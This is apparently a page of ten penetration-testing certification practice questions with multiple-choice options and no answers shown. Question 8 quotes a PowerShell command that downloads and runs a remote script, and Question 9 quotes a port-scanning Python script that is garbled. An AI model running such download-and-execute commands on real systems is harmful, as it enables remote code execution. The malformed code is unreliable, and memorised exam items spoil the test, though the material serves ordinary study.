Question 1

When negotiating a penetration testing contract with a prospective client, which of thefollowing disclaimersshould be included in order to mitigate liability in case of a future breach of the client’ssystems?

A. The proposed mitigations and remediations in the final report do not include a costbenefit analysis. 
B. The NDA protects the consulting firm from future liabilities in the event of a breach. 
C. The assessment reviewed the cyber key terrain and most critical assets of the client’snetwork. 
D. The penetration test is based on the state of the system and its configuration at the timeof assessment. 

Show Answer

Question 2

Which of the following tools would a penetration tester leverage to conduct OSINT? (SelectTWO).

A. Shodan 
B. SET 
C. BeEF 
D. Wireshark 
E. Maltego 
F. Dynamo 

Show Answer

Question 3

Which of the following tools is used to perform a credential brute force attack?

A. Hydra 
B. John the Ripper 
C. Hashcat 
D. Peach 

Show Answer

Question 4

A penetration tester used an ASP.NET web shell to gain access to a web application,which allowed the testerto pivot in the corporate network. Which of the following is the MOST important follow-upactivity to completeafter the tester delivers the report?

A. Removing shells 
B. Obtaining client acceptance 
C. Removing tester-created credentials 
D. Documenting lessons learned 
E. Presenting attestation of findings 

Show Answer

Question 5

A client needs to be PCI compliant and has external-facing web servers. Which of the following CVSSvulnerability scores would automatically bring the client out of compliance standards such as PCI 3.x?

A. 2.9 
B. 3.0 
C. 4.0 
D. 5.9 

Show Answer

Question 6

During a physical security review, a detailed penetration testing report was obtained, whichwas issued to asecurity analyst and then discarded in the trash. The report contains validated critical riskexposures. Which ofthe following processes would BEST protect this information from being disclosed in thefuture?

A. Restrict access to physical copies to authorized personnel only. 
B. Ensure corporate policies include guidance on the proper handling of sensitiveinformation. 
C. Require only electronic copies of all documents to be maintained. 
D. Install surveillance cameras near all garbage disposal areas. 

Show Answer

Question 7

A penetration tester needs to provide the code used to exploit a DNS server in the finalreport. In which of thefollowing parts of the report should the penetration tester place the code?

A. Executive summary 
B. Remediation 
C. Conclusion 
D. Technical summary 

Show Answer

Question 8

Consider the following PowerShell command:powershell.exe IEX (New-Object Net.Webclient).downloadstring(http://site/script.ps1”);Invoke-CmdletWhich of the following BEST describes the actions performed this command?

A. Set the execution policy 
B. Execute a remote script 
C. Run an encoded command 
D. Instantiate an object 

Show Answer

Question 9

Given the following Python script:#1/usr/bin/pythonimport socket as sktfor port in range (1,1024):try:sox=skt.socket(skt.AF.INET,skt.SOCK_STREAM)sox.settimeout(1000)sox.connect ((‘127.0.0.1’, port))print ‘%d:OPEN’ % (port)sox.closeexcept: continueWhich of the following is where the output will go?

A. To the screen 
B. To a network server 
C. To a file 
D. To /dev/null 

Show Answer

Question 10

A penetration tester has gained physical access to a facility and connected directly into theinternal network.The penetration tester now wants to pivot into the server VLAN. Which of the followingwould accomplish this?

A. Spoofing a printer’s MAC address 
B. Abusing DTP negotiation 
C. Performing LLMNR poisoning 
D. Conducting an STP attack 

Show Answer